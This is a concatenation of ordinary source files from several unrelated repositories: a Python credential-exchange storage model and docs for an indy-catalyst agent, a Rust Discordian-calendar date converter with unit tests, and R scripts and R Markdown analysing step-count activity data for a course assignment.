<file_sep>/agent/indy_catalyst_agent/messaging/credentials/models/credential_exchange.py
"""Handle credential exchange information interface with non-secrets storage."""
import json
import uuid
from typing import Sequence
from marshmallow import fields
from ....cache.base import BaseCache
from ....config.injection_context import InjectionContext
from ....storage.base import BaseStorage
from ....storage.record import StorageRecord
from ...models.base import BaseModel, BaseModelSchema
class CredentialExchange(BaseModel):
"""Represents a credential exchange."""
class Meta:
"""CredentialExchange metadata."""
schema_class = "CredentialExchangeSchema"
RECORD_TYPE = "credential_exchange"
INITIATOR_SELF = "self"
INITIATOR_EXTERNAL = "external"
STATE_OFFER_SENT = "offer_sent"
STATE_OFFER_RECEIVED = "offer_received"
STATE_REQUEST_SENT = "request_sent"
STATE_REQUEST_RECEIVED = "request_received"
STATE_ISSUED = "issued"
STATE_STORED = "stored"
def __init__(
self,
*,
credential_exchange_id: str = None,
connection_id: str = None,
thread_id: str = None,
parent_thread_id: str = None,
initiator: str = None,
state: str = None,
credential_definition_id: str = None,
schema_id: str = None,
credential_offer: dict = None,
credential_request: dict = None,
credential_request_metadata: dict = None,
credential_id: str = None,
credential: dict = None,
credential_values: dict = None,
auto_issue: bool = False,
error_msg: str = None,
):
"""Initialize a new CredentialExchange."""
self._id = credential_exchange_id
self.connection_id = connection_id
self.thread_id = thread_id
self.parent_thread_id = parent_thread_id
self.initiator = initiator
self.state = state
self.credential_definition_id = credential_definition_id
self.schema_id = schema_id
self.credential_offer = credential_offer
self.credential_request = credential_request
self.credential_request_metadata = credential_request_metadata
self.credential_id = credential_id
self.credential = credential
self.credential_values = credential_values
self.auto_issue = auto_issue
self.error_msg = error_msg
@property
def credential_exchange_id(self) -> str:
"""Accessor for the ID associated with this exchange."""
return self._id
@property
def storage_record(self) -> StorageRecord:
"""Accessor for a `StorageRecord` representing this credential exchange."""
return StorageRecord(
self.RECORD_TYPE,
json.dumps(self.value),
self.tags,
self.credential_exchange_id,
)
@property
def value(self) -> dict:
"""Accessor for the JSON record value generated for this credential exchange."""
result = self.tags
for prop in (
"credential_offer",
"credential_request",
"credential_request_metadata",
"error_msg",
"auto_issue",
"credential_values",
"credential",
"parent_thread_id",
):
val = getattr(self, prop)
if val:
result[prop] = val
return result
@property
def tags(self) -> dict:
"""Accessor for the record tags generated for this credential exchange."""
result = {}
for prop in (
"connection_id",
"thread_id",
"initiator",
"state",
"credential_definition_id",
"schema_id",
"credential_id",
):
val = getattr(self, prop)
if val:
result[prop] = val
return result
async def save(self, context: InjectionContext):
"""Persist the credential exchange record to storage.
Args:
context: The `InjectionContext` instance to use
"""
storage: BaseStorage = await context.inject(BaseStorage)
if not self._id:
self._id = str(uuid.uuid4())
await storage.add_record(self.storage_record)
else:
record = self.storage_record
await storage.update_record_value(record, record.value)
await storage.update_record_tags(record, record.tags)
cache_key = f"{self.RECORD_TYPE}::{self._id}"
cache: BaseCache = await context.inject(BaseCache, required=False)
if cache:
await cache.clear(cache_key)
@classmethod
async def retrieve_by_id(
cls, context: InjectionContext, credential_exchange_id: str, cached: bool = True
):
"""Retrieve a credential exchange record by ID.
Args:
context: The `InjectionContext` instance to use
credential_exchange_id: The ID of the credential exchange record to find
cached: Whether to check the cache for this record
"""
cache = None
cache_key = f"{cls.RECORD_TYPE}::{credential_exchange_id}"
vals = None
if cached and credential_exchange_id:
cache: BaseCache = await context.inject(BaseCache, required=False)
if cache:
vals = await cache.get(cache_key)
if not vals:
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.get_record(cls.RECORD_TYPE, credential_exchange_id)
vals = json.loads(result.value)
if result.tags:
vals.update(result.tags)
if cache:
await cache.set(cache_key, vals, 60)
return CredentialExchange(credential_exchange_id=credential_exchange_id, **vals)
@classmethod
async def retrieve_by_tag_filter(
cls, context: InjectionContext, tag_filter: dict
) -> "CredentialExchange":
"""Retrieve a credential exchange record by tag filter.
Args:
context: The `InjectionContext` instance to use
tag_filter: The filter dictionary to apply
"""
storage: BaseStorage = await context.inject(BaseStorage)
result = await storage.search_records(
cls.RECORD_TYPE, tag_filter
).fetch_single()
vals = json.loads(result.value)
vals.update(result.tags)
return CredentialExchange(credential_exchange_id=result.id, **vals)
@classmethod
async def query(
cls, context: InjectionContext, tag_filter: dict = None
) -> Sequence["CredentialExchange"]:
"""Query existing credential exchange records.
Args:
context: The `InjectionContext` instance to use
tag_filter: An optional dictionary of tag filter clauses
"""
storage: BaseStorage = await context.inject(BaseStorage)
found = await storage.search_records(cls.RECORD_TYPE, tag_filter).fetch_all()
result = []
for record in found:
vals = json.loads(record.value)
vals.update(record.tags)
result.append(CredentialExchange(credential_exchange_id=record.id, **vals))
return result
async def delete_record(self, context: InjectionContext):
"""Remove the credential exchange record.
Args:
context: The `InjectionContext` instance to use
"""
if self.credential_exchange_id:
storage: BaseStorage = await context.inject(BaseStorage)
await storage.delete_record(self.storage_record)
class CredentialExchangeSchema(BaseModelSchema):
"""Schema to allow serialization/deserialization of credential exchange records."""
class Meta:
"""CredentialExchangeSchema metadata."""
model_class = CredentialExchange
credential_exchange_id = fields.Str(required=False)
connection_id = fields.Str(required=False)
thread_id = fields.Str(required=False)
parent_thread_id = fields.Str(required=False)
initiator = fields.Str(required=False)
state = fields.Str(required=False)
credential_definition_id = fields.Str(required=False)
schema_id = fields.Str(required=False)
credential_offer = fields.Dict(required=False)
credential_request = fields.Dict(required=False)
credential_request_metadata = fields.Dict(required=False)
credential_id = fields.Str(required=False)
credential = fields.Dict(required=False)
auto_issue = fields.Bool(required=False)
credential_values = fields.Dict(required=False)
error_msg = fields.Str(required=False)
<file_sep>/agent/docs/indy_catalyst_agent.storage.rst
indy\_catalyst\_agent.storage package
=====================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.storage.tests
Submodules
----------
indy\_catalyst\_agent.storage.base module
-----------------------------------------
.. automodule:: indy_catalyst_agent.storage.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.basic module
------------------------------------------
.. automodule:: indy_catalyst_agent.storage.basic
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.error module
------------------------------------------
.. automodule:: indy_catalyst_agent.storage.error
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.indy module
-----------------------------------------
.. automodule:: indy_catalyst_agent.storage.indy
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.storage.record module
-------------------------------------------
.. automodule:: indy_catalyst_agent.storage.record
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.storage
:members:
:undoc-members:
:show-inheritance:
<file_sep>/agent/scripts/run_tests_indy
#!/bin/sh
cd $(dirname $0)
docker build -t indy-cat-test -f ../docker/Dockerfile.test-indy .. || exit 1
docker run --rm -ti --name indy-cat-runner indy-cat-test "$@"
<file_sep>/agent/docs/indy_catalyst_agent.models.rst
indy\_catalyst\_agent.models package
====================================
Subpackages
-----------
.. toctree::
indy_catalyst_agent.models.tests
Submodules
----------
indy\_catalyst\_agent.models.base module
----------------------------------------
.. automodule:: indy_catalyst_agent.models.base
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.models.connection\_detail module
------------------------------------------------------
.. automodule:: indy_catalyst_agent.models.connection_detail
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.models.connection\_target module
------------------------------------------------------
.. automodule:: indy_catalyst_agent.models.connection_target
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.models.field\_signature module
----------------------------------------------------
.. automodule:: indy_catalyst_agent.models.field_signature
:members:
:undoc-members:
:show-inheritance:
indy\_catalyst\_agent.models.thread\_decorator module
-----------------------------------------------------
.. automodule:: indy_catalyst_agent.models.thread_decorator
:members:
:undoc-members:
:show-inheritance:
Module contents
---------------
.. automodule:: indy_catalyst_agent.models
:members:
:undoc-members:
:show-inheritance:
<file_sep>/starter-kits/credential-registry/server/tob-api/icat_hooks/models/__init__.py
from .CredentialHook import CredentialHook
from .HookableCredential import HookableCredential
from .HookUser import HookUser
from .Subscription import Subscription
<file_sep>/agent/indy_catalyst_agent/transport/outbound/queue/base.py
"""Abstract outbound queue."""
from abc import ABC, abstractmethod
class BaseOutboundMessageQueue(ABC):
"""Abstract outbound queue class."""
@abstractmethod
async def enqueue(self, message):
"""
Enqueue a message.
Args:
message: The message to send
"""
pass
@abstractmethod
async def dequeue(self):
"""Get a message off the queue."""
pass
@abstractmethod
def __aiter__(self):
"""Async iterator magic method."""
pass
@abstractmethod
async def __anext__(self):
"""Async iterator magic method."""
pass
|
09ee31995e170e176b170ed1dc7241b395728fc7
|
[
"reStructuredText",
"Markdown",
"INI",
"Python",
"Text",
"Dockerfile",
"Shell"
] | 86
|
Python
|
panickervinod/indy-catalyst
|
1af47d17ca6d4fcf569f245ba221028abd03536b
|
57400447b42d9e1a0aa4105a4d21f0c0b81bf200
|
refs/heads/master
|
<repo_name>Don42/altdate<file_sep>/src/main.rs
// Crates
extern crate chrono;
extern crate docopt;
extern crate rustc_serialize;
// Standard library imports
// Local modules
mod altdate;
// Crate imports
use chrono::Datelike;
use docopt::Docopt;
static VERSION: &'static str = "ddate (RUST implementaion of gnucoreutils) 0.1
Copyright (C) 2016 <NAME>
License GPLv2: GNU GPL version 2 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Marco '<NAME>.
";
const USAGE: &'static str = "
ddate
USAGE:
ddate [options] [<date>]
Options:
-h --help Dispaly this help message and exit
-v --version Output version information and exit
-d --discordian Switch to output discordian dates. This is the default
-t --timestamp Date specifies a timestamp, instead of an isodate
";
#[derive(Debug, RustcDecodable)]
struct Args {
arg_date: Option<String>,
flag_help: bool,
flag_version: bool,
flag_discordian: bool,
flag_timestamp: bool,
}
/// Determines which time format should be parsed
fn get_input_type(args: &Args) -> altdate::InputType {
if args.flag_timestamp {
altdate::InputType::UnixTimestamp
} else {
altdate::InputType::Iso6801
}
}
fn main() {
let args: Args = Docopt::new(USAGE)
.and_then(|d| d.decode())
.unwrap_or_else(|e| e.exit());
if args.flag_version {
println!("{}", VERSION);
return;
}
let input_type = get_input_type(&args);
let input_date = match args.arg_date {
None => {
let today = chrono::offset::local::Local::today();
today.naive_local()
},
Some(raw_date) => altdate::parse_date(&raw_date, input_type),
};
let date = altdate::ddate::convert(input_date.ordinal0() as u16,
input_date.year() as i32).unwrap();
println!("{:?}, ", date);
}
<file_sep>/README.md
# altdate [](https://travis-ci.org/Don42/altdate)
Utility to convert dates to alternate calendars
<file_sep>/src/altdate/mod.rs
// Cates
extern crate chrono;
extern crate time;
// Crate imports
use chrono::{NaiveDate};
const YEAR_OFFSET: i32 = 1900;
pub mod ddate;
/// Enum containing all supported calendars
#[allow(dead_code)]
#[derive(Debug)]
enum Calendar {
Discordian,
}
/// Enum containing all the supported time input formats
#[derive(Debug)]
pub enum InputType {
Iso6801,
UnixTimestamp,
}
/// Parses a string to a date
///
/// Returns a date with astronomicaly numbered years. This means there is a year zero.
pub fn parse_date(raw_date: &String, input_type: InputType) -> NaiveDate {
match input_type {
InputType::UnixTimestamp => {
let timestamp = time::at(time::Timespec{
sec: raw_date.parse().expect("Could not parse timestamp"),
nsec: 0});
NaiveDate::from_yo(timestamp.tm_year + YEAR_OFFSET, timestamp.tm_yday as u32)
},
InputType::Iso6801 => NaiveDate::parse_from_str(raw_date.as_str(), "%Y-%m-%d")
.expect("Could not parse date")
}
}
<file_sep>/src/altdate/ddate.rs
/// Enum containing all discordian Days, including StTibsDay
#[derive(Debug,PartialEq)]
enum Day {
Sweetmorn,
Boomtime,
Pungenday,
PricklePrickle,
SettingOrange,
StTibsDay,
}
/// Enum containing all discordian Seasons, including StTibsDay
#[derive(Debug,PartialEq)]
enum Season {
Chaos,
Discord,
Confusion,
Bureaucracy,
TheAftermath,
StTibsDay,
}
/// Representation for a Discordian Date
#[derive(Debug,PartialEq)]
pub struct DiscordianDate {
/// Season of the discordian year
season: Season,
/// Day of the discordian Season, zero-based
day: u8,
/// Day of the discordian year, zero-based
year_day: u16,
/// Discordian year, which includes a year zero
year: i32,
/// Day of the discordian week
week_day: Day,
/// Week of the discordian year, or None for StTibsDay
week: Option<u8>,
}
/// Converts a year and day to a Discordian Date
///
/// # Arguments
/// * `nday` - Days after January 1st, starting at zero
/// * `nyear` - Astronomicaly numbered year. This means there is a year zero
///
pub fn convert(nday: u16, nyear: i32) -> Option<DiscordianDate> {
let year = nyear + 1166;
let year_day = nday;
if !is_leap_year(nyear) {
let season = match nday {
0 ... 72 => Season::Chaos,
73 ... 145 => Season::Discord,
146 ... 218 => Season::Confusion,
219 ... 291 => Season::Bureaucracy,
292 ... 364 => Season::TheAftermath,
_ => panic!("Day out of range: {}", nday)
};
let week_day = week_day(nday);
let day = (nday % 73) as u8;
let week = Some((nday / 5) as u8);
return Some(DiscordianDate {season: season, day: day,
year_day: year_day, year: year,
week: week, week_day: week_day})
} else {
let season = match nday {
59 => Season::StTibsDay,
0 ... 73 => Season::Chaos,
74 ... 146 => Season::Discord,
147 ... 219 => Season::Confusion,
220 ... 292 => Season::Bureaucracy,
293 ... 365 => Season::TheAftermath,
_ => panic!("Day out of range: {}", nday)
};
let week_day = match nday {
0 ... 58 => week_day(nday),
59 => Day::StTibsDay,
60 ... 365 => week_day(nday - 1),
_ => panic!("Day out of range: {}", nday)
};
let day = match nday {
0 ... 58 => nday,
59 => 0,
60 ... 365 => (nday - 1) % 73,
_ => panic!("Day out of range: {}", nday)
} as u8;
let week = match nday {
0 ... 58 => Some((nday / 5) as u8),
59 => None,
60 ... 365 => Some(((nday - 1) / 5) as u8),
_ => panic!("Day out of range: {}", nday)
};
return Some(DiscordianDate {season: season, day: day,
year_day: year_day, year: year,
week: week, week_day: week_day})
}
}
/// Return the weekday for a given day in the discordian year
///
/// This function will not correct for StTibsDay. All dates after StTibsDay
/// need to be reduced by one.
///
/// # Arguments
/// * `nday` - Days after January 1st, starting at zero
///
fn week_day(nday: u16) -> Day{
match nday % 5 {
0 => Day::Sweetmorn,
1 => Day::Boomtime,
2 => Day::Pungenday,
3 => Day::PricklePrickle,
4 => Day::SettingOrange,
_ => panic!("Weekday out of range: {}", nday % 5)
}
}
/// Determines if the supplied year is a leap year
///
/// There is a year zero before year one. But the result of the
/// leap year calculation is undefined before the switch to the
/// gregorian calendar (1582 CE)
///
/// # Arguments
/// * `year` - Astronomicaly numbered year. This means there is a year zero
///
fn is_leap_year(year: i32) -> bool {
let has_factor = |n| year % n == 0;
return has_factor(4) && !has_factor(100) || has_factor(400)
}
#[cfg(test)]
mod test {
#[test]
fn test_convert() {
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 0, year_day: 0, year: 3182,
week: Some(0), week_day: super::Day::Sweetmorn},
super::convert(0, 2016).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 0, year_day: 0, year: 1166,
week: Some(0), week_day: super::Day::Sweetmorn},
super::convert(0, 0).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 0, year_day: 0, year: 1165,
week: Some(0), week_day: super::Day::Sweetmorn},
super::convert(0, -1).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 0, year_day: 0, year: 0,
week: Some(0), week_day: super::Day::Sweetmorn},
super::convert(0, -1166).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 0, year_day: 0, year: -1,
week: Some(0), week_day: super::Day::Sweetmorn},
super::convert(0, -1167).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::StTibsDay,
day: 0, year_day: 59, year: 3166,
week: None, week_day: super::Day::StTibsDay},
super::convert(59, 2000).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Chaos,
day: 59, year_day: 60, year: 3166,
week: Some(11), week_day: super::Day::SettingOrange},
super::convert(60, 2000).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::Discord,
day: 11, year_day: 85, year: 3166,
week: Some(16), week_day: super::Day::SettingOrange},
super::convert(85, 2000).unwrap());
assert_eq!(super::DiscordianDate {season: super::Season::TheAftermath,
day: 72, year_day: 365, year: 3166,
week: Some(72), week_day: super::Day::SettingOrange},
super::convert(365, 2000).unwrap());
}
#[test]
fn test_week_day() {
assert_eq!(super::week_day(0), super::Day::Sweetmorn);
assert_eq!(super::week_day(1), super::Day::Boomtime);
assert_eq!(super::week_day(2), super::Day::Pungenday);
assert_eq!(super::week_day(3), super::Day::PricklePrickle);
assert_eq!(super::week_day(4), super::Day::SettingOrange);
assert_eq!(super::week_day(10), super::Day::Sweetmorn);
assert_eq!(super::week_day(12), super::Day::Pungenday);
assert_eq!(super::week_day(21), super::Day::Boomtime);
}
#[test]
fn test_leap_year_positive() {
assert!(super::is_leap_year(2004));
assert!(super::is_leap_year(2008));
assert!(super::is_leap_year(2012));
assert!(super::is_leap_year(2016));
}
#[test]
fn test_leap_year_century() {
assert!(super::is_leap_year(2000));
assert!(!super::is_leap_year(1900));
assert!(!super::is_leap_year(1800));
assert!(!super::is_leap_year(2100));
}
#[test]
fn test_leap_year_negative() {
assert!(!super::is_leap_year(1998));
assert!(!super::is_leap_year(1999));
assert!(!super::is_leap_year(2014));
assert!(!super::is_leap_year(2015));
}
}
<file_sep>/Cargo.toml
[project]
name = "altdate"
version = "0.0.1"
authors = ["don <<EMAIL>>"]
[dependencies]
docopt = "*"
rustc-serialize = "*"
time = "*"
chrono = "0.2"
[lib]
name = "altdate"
path = "src/altdate/mod.rs"
[[bin]]
name = "altdate"
path = "src/main.rs"
|
20f7cb9ef2446e985db359ee622d14fb0e1a9e75
|
[
"Markdown",
"Rust",
"TOML"
] | 5
|
Rust
|
Don42/altdate
|
c99bf2e03b9a8528b7b8d144949c81456c9c0eff
|
33ef7396cd47d41600277b1e40aba276ba01c6fc
|
refs/heads/master
|
<repo_name>al3c/RepData_PeerAssessment1<file_sep>/project1.R
## Peer Assessment 1
## set working directory if necessary
## setwd("~Documents/Coding/Coursera/ReproResearch/data/project1")
library(ggplot2)
library(lubridate)
## read the file in and look at structure
activity <- read.csv("activity.csv")
str(activity)
## 3 variables: steps (integer), date (factor), interval (integer)
summary(activity)
## format the colums appropriatley - dates as dates; interval
## as a factor
activity$date = as.Date(activity$date)
unique(activity$date) ## sample size is 61 days
activity$interval = factor(activity$interval)
## plot a histogram of the total steps taken each day
tot_steps <- tapply(activity$steps, activity$date, sum)
qplot(tot_steps, main = "Total steps taken per day",
xlab = "Total steps", ylab = "Count", margins = T) +
geom_histogram(fill = "steelblue")
## ggplot(tot_steps, aes(x = steps)) +
## geom_histogram(fill = "steelblue", binwidth = 1500)
## calculate the mean and median total number of steps taken per day
act_mean <- mean(tapply(activity$steps, activity$date, sum),
na.rm = TRUE)
act_median <- median(tapply(activity$steps, activity$date, sum),
na.rm = TRUE)
## mean is 10766.19, median is 10765
## average daily activity pattern; time series plot
length(unique(activity$interval))
## 288 intervals
intervals <- unique(activity$interval)
avgsteps <- tapply(activity$steps, activity$interval, mean, na.rm = T)
interval_data <- data.frame(intervals, avgsteps)
with(interval_data, plot(intervals, avgsteps,
main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
## max steps in which intervall
max_index <- as.numeric(which.max(interval_data$avgsteps))
interval_data[max_index,]
## the 835 interval has the most with 206 steps
# input missing data
## total # of NAs
table(is.na(activity$steps))
## 2304 NAs
## for loop: if NA, then check intervall,
## insert the avg for that interval
## for missing values, replacing them with the mean at that same
## interval, as I am assuming that activities follow a daily pattern.
## !! activity$interval <- factor(activity$interval)
steps_per <- aggregate(activity$steps,
by = list(interval = activity$interval),
mean, na.rm = T)
# convert to integers for plotting
steps_per$interval <- as.integer(levels(steps_per$interval)
[steps_per$interval])
colnames(steps_per) <- c("interval", "steps")
means_replace <- function(activity, defaults) {
na_indices <- which(is.na(activity$steps))
defaults <- steps_per
na_repl <- unlist(lapply(na_indices,
FUN = function(ind) {
interval = activity[ind, ]$interval
defaults[defaults$interval == interval, ]$steps
}))
new_steps <- activity$steps
new_steps[na_indices] <- na_repl
new_steps
}
activity_imp <- data.frame(steps = means_replace(activity, avgsteps),
date = activity$date,
interval = activity$interval)
summary(activity_imp)
# differences
intervals <- unique(activity_imp$interval)
avgsteps <- tapply(activity_imp$steps, activity_imp$interval,
mean, na.rm = T)
interval_data_imp <- data.frame(intervals, avgsteps)
with(interval_data_imp, plot(intervals, avgsteps,
main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
## new mean and median
imp_mean <- mean(tapply(activity_imp$steps, activity_imp$date, sum),
na.rm = TRUE)
imp_median <- median(tapply(activity_imp$steps, activity_imp$date, sum),
na.rm = TRUE)
## plotting weekday vs weekend
<file_sep>/PA1_template.md
# Reproducible Research: Peer Assessment 1
## Loading and preprocessing the data
```r
library(ggplot2)
library(lubridate)
activity <- read.csv("activity.csv")
summary(activity)
```
```
## steps date interval
## Min. : 0.0 2012-10-01: 288 Min. : 0
## 1st Qu.: 0.0 2012-10-02: 288 1st Qu.: 589
## Median : 0.0 2012-10-03: 288 Median :1178
## Mean : 37.4 2012-10-04: 288 Mean :1178
## 3rd Qu.: 12.0 2012-10-05: 288 3rd Qu.:1766
## Max. :806.0 2012-10-06: 288 Max. :2355
## NA's :2304 (Other) :15840
```
```r
activity$date = as.Date(activity$date)
unique(activity$date)
```
```
## [1] "2012-10-01" "2012-10-02" "2012-10-03" "2012-10-04" "2012-10-05"
## [6] "2012-10-06" "2012-10-07" "2012-10-08" "2012-10-09" "2012-10-10"
## [11] "2012-10-11" "2012-10-12" "2012-10-13" "2012-10-14" "2012-10-15"
## [16] "2012-10-16" "2012-10-17" "2012-10-18" "2012-10-19" "2012-10-20"
## [21] "2012-10-21" "2012-10-22" "2012-10-23" "2012-10-24" "2012-10-25"
## [26] "2012-10-26" "2012-10-27" "2012-10-28" "2012-10-29" "2012-10-30"
## [31] "2012-10-31" "2012-11-01" "2012-11-02" "2012-11-03" "2012-11-04"
## [36] "2012-11-05" "2012-11-06" "2012-11-07" "2012-11-08" "2012-11-09"
## [41] "2012-11-10" "2012-11-11" "2012-11-12" "2012-11-13" "2012-11-14"
## [46] "2012-11-15" "2012-11-16" "2012-11-17" "2012-11-18" "2012-11-19"
## [51] "2012-11-20" "2012-11-21" "2012-11-22" "2012-11-23" "2012-11-24"
## [56] "2012-11-25" "2012-11-26" "2012-11-27" "2012-11-28" "2012-11-29"
## [61] "2012-11-30"
```
## What is mean total number of steps taken per day?
```r
tot_steps <- tapply(activity$steps, activity$date, sum)
qplot(tot_steps, main = "Total steps taken per day", xlab = "Total steps", ylab = "Count",
margins = T)
```
```
## stat_bin: binwidth defaulted to range/30. Use 'binwidth = x' to adjust this.
```

```r
## calculate the mean and median total number of steps taken per day
act_mean <- mean(tapply(activity$steps, activity$date, sum), na.rm = TRUE)
act_median <- median(tapply(activity$steps, activity$date, sum), na.rm = TRUE)
act_mean
```
```
## [1] 10766
```
```r
act_median
```
```
## [1] 10765
```
```r
## mean is 10766.19, median is 10765
```
## What is the average daily activity pattern?
```r
intervals <- unique(activity$interval)
avgsteps <- tapply(activity$steps, activity$interval, mean, na.rm = T)
interval_data <- data.frame(intervals, avgsteps)
with(interval_data, plot(intervals, avgsteps, main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
```

```r
max_index <- as.numeric(which.max(interval_data$avgsteps))
interval_data[max_index, ]
```
```
## intervals avgsteps
## 835 835 206.2
```
```r
## the 835 interval has the most with 206 steps
```
## Imputing missing values
First calulating the total number of NAs:
```r
table(is.na(activity$steps))
```
```
##
## FALSE TRUE
## 15264 2304
```
For missing values, replacing them with the mean at that same interval, as I am assuming that activities follow a daily pattern.
```r
steps_per <- aggregate(activity$steps, by = list(interval = activity$interval),
mean, na.rm = T)
# convert to integers for plotting
steps_per$interval <- as.integer(levels(steps_per$interval)[steps_per$interval])
```
```
## Error: replacement has 0 rows, data has 288
```
```r
colnames(steps_per) <- c("interval", "steps")
means_replace <- function(activity, defaults) {
na_indices <- which(is.na(activity$steps))
defaults <- steps_per
na_repl <- unlist(lapply(na_indices, FUN = function(ind) {
interval = activity[ind, ]$interval
defaults[defaults$interval == interval, ]$steps
}))
new_steps <- activity$steps
new_steps[na_indices] <- na_repl
new_steps
}
activity_imp <- data.frame(steps = means_replace(activity, avgsteps), date = activity$date,
interval = activity$interval)
summary(activity_imp)
```
```
## steps date interval
## Min. : 0.0 Min. :2012-10-01 Min. : 0
## 1st Qu.: 0.0 1st Qu.:2012-10-16 1st Qu.: 589
## Median : 0.0 Median :2012-10-31 Median :1178
## Mean : 37.4 Mean :2012-10-31 Mean :1178
## 3rd Qu.: 27.0 3rd Qu.:2012-11-15 3rd Qu.:1766
## Max. :806.0 Max. :2012-11-30 Max. :2355
```
Plotting new dataset with inserted steps:
```r
intervals <- unique(activity_imp$interval)
avgsteps <- tapply(activity_imp$steps, activity_imp$interval, mean, na.rm = T)
interval_data_imp <- data.frame(intervals, avgsteps)
with(interval_data_imp, plot(intervals, avgsteps, main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
```

Calculating the new mean and median
```r
imp_mean <- mean(tapply(activity_imp$steps, activity_imp$date, sum), na.rm = TRUE)
imp_median <- median(tapply(activity_imp$steps, activity_imp$date, sum), na.rm = TRUE)
imp_mean
```
```
## [1] 10766
```
```r
imp_median
```
```
## [1] 10766
```
<file_sep>/PA1_template.Rmd
# Reproducible Research: Peer Assessment 1
## Loading and preprocessing the data
```{r, echo=TRUE}
library(ggplot2)
library(lubridate)
activity <- read.csv("activity.csv")
summary(activity)
activity$date = as.Date(activity$date)
unique(activity$date)
```
## What is mean total number of steps taken per day?
```{r, echo=TRUE}
tot_steps <- tapply(activity$steps, activity$date, sum)
qplot(tot_steps, main = "Total steps taken per day",
xlab = "Total steps", ylab = "Count", margins = T)
## calculate the mean and median total number of steps taken per day
act_mean <- mean(tapply(activity$steps, activity$date, sum),
na.rm = TRUE)
act_median <- median(tapply(activity$steps, activity$date, sum),
na.rm = TRUE)
act_mean
act_median
## mean is 10766.19, median is 10765
```
## What is the average daily activity pattern?
```{r, echo=TRUE}
intervals <- unique(activity$interval)
avgsteps <- tapply(activity$steps, activity$interval, mean, na.rm = T)
interval_data <- data.frame(intervals, avgsteps)
with(interval_data, plot(intervals, avgsteps,
main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
max_index <- as.numeric(which.max(interval_data$avgsteps))
interval_data[max_index,]
## the 835 interval has the most with 206 steps
```
## Imputing missing values
First calulating the total number of NAs:
```{r, echo=TRUE}
table(is.na(activity$steps))
```
For missing values, replacing them with the mean at that same interval, as I am assuming that activities follow a daily pattern.
```{r, echo=TRUE}
steps_per <- aggregate(activity$steps,
by = list(interval = activity$interval),
mean, na.rm = T)
# convert to integers for plotting
steps_per$interval <- as.integer(levels(steps_per$interval)
[steps_per$interval])
colnames(steps_per) <- c("interval", "steps")
means_replace <- function(activity, defaults) {
na_indices <- which(is.na(activity$steps))
defaults <- steps_per
na_repl <- unlist(lapply(na_indices,
FUN = function(ind) {
interval = activity[ind, ]$interval
defaults[defaults$interval == interval, ]$steps
}))
new_steps <- activity$steps
new_steps[na_indices] <- na_repl
new_steps
}
activity_imp <- data.frame(steps = means_replace(activity, avgsteps),
date = activity$date,
interval = activity$interval)
summary(activity_imp)
```
Plotting new dataset with inserted steps:
```{r, echo=TRUE}
intervals <- unique(activity_imp$interval)
avgsteps <- tapply(activity_imp$steps, activity_imp$interval,
mean, na.rm = T)
interval_data_imp <- data.frame(intervals, avgsteps)
with(interval_data_imp, plot(intervals, avgsteps,
main = "Average daily steps per interval",
ylab = "average steps", type = "l"))
```
Calculating the new mean and median
```{r, echo=TRUE}
imp_mean <- mean(tapply(activity_imp$steps, activity_imp$date, sum),
na.rm = TRUE)
imp_median <- median(tapply(activity_imp$steps, activity_imp$date, sum),
na.rm = TRUE)
imp_mean
imp_median
```
|
a7a2c613a56bd2f331b5d3b5bc1577f81fcee618
|
[
"Markdown",
"R",
"RMarkdown"
] | 3
|
R
|
al3c/RepData_PeerAssessment1
|
e641f8e6f40cfe3c22cdfde280ba49039d79f470
|
f113d581428f692109c24901c032a60f82d29301
|
refs/heads/master
|
<file_sep>"""
The following shows that how to use 2 Stacks to implement Queue.
"""
class Stack( object ):
def __init__( self ):
self.val = []
self.top = 0
def push( self, key ):
self.val.append(key)
self.top += 1
#self.output()
def pop( self ):
if self.top == 0:
print "the stack is empty"
return
self.top -= 1
e = self.val.pop()
#self.output()
return e
def output( self ):
print self.val
def is_empty( self ):
if self.top == 0:
return True
else:
return False
class Queue( object ):
def __init__( self ):
self.in_stack = Stack()
self.out_stack = Stack()
def in_queue( self, key ):
self.in_stack.push( key )
def out_queue( self ):
if self.out_stack.is_empty():
if self.in_stack.is_empty():
print "the queue is empty"
return
else:
while( not self.in_stack.is_empty() ):
temp = self.in_stack.pop()
self.out_stack.push( temp )
e = self.out_stack.pop()
return e
def output( self ):
print self.out_stack.val[::-1] + self.in_stack.val
def is_empty( self ):
if self.in_stack.is_empty() and self.out_stack.is_empty():
return True
else:
return False
if __name__ == "__main__":
a = Queue()
for i in range(5):
a.in_queue(i)
a.output()
a.out_queue()
a.output()
for i in range( 100, 105 ):
a.in_queue(i)
a.output()
while( not a.is_empty() ):
a.out_queue()
a.output()
|
20ed49d64d70e5ae077d0319f50fb3d6dcb1d6b2
|
[
"Python"
] | 1
|
Python
|
Minions1128/python_learning
|
e8c523a44161c4fa5a4d4dc2d57fab56c29d42d3
|
dc89875501cc2ff6e88f179ddb0cdc6b3ff190eb
|
refs/heads/master
|
<repo_name>kevingeorge26/FeatureExtractor<file_sep>/src/edu/pos/feature/extractor/Tagger.java
package edu.pos.feature.extractor;
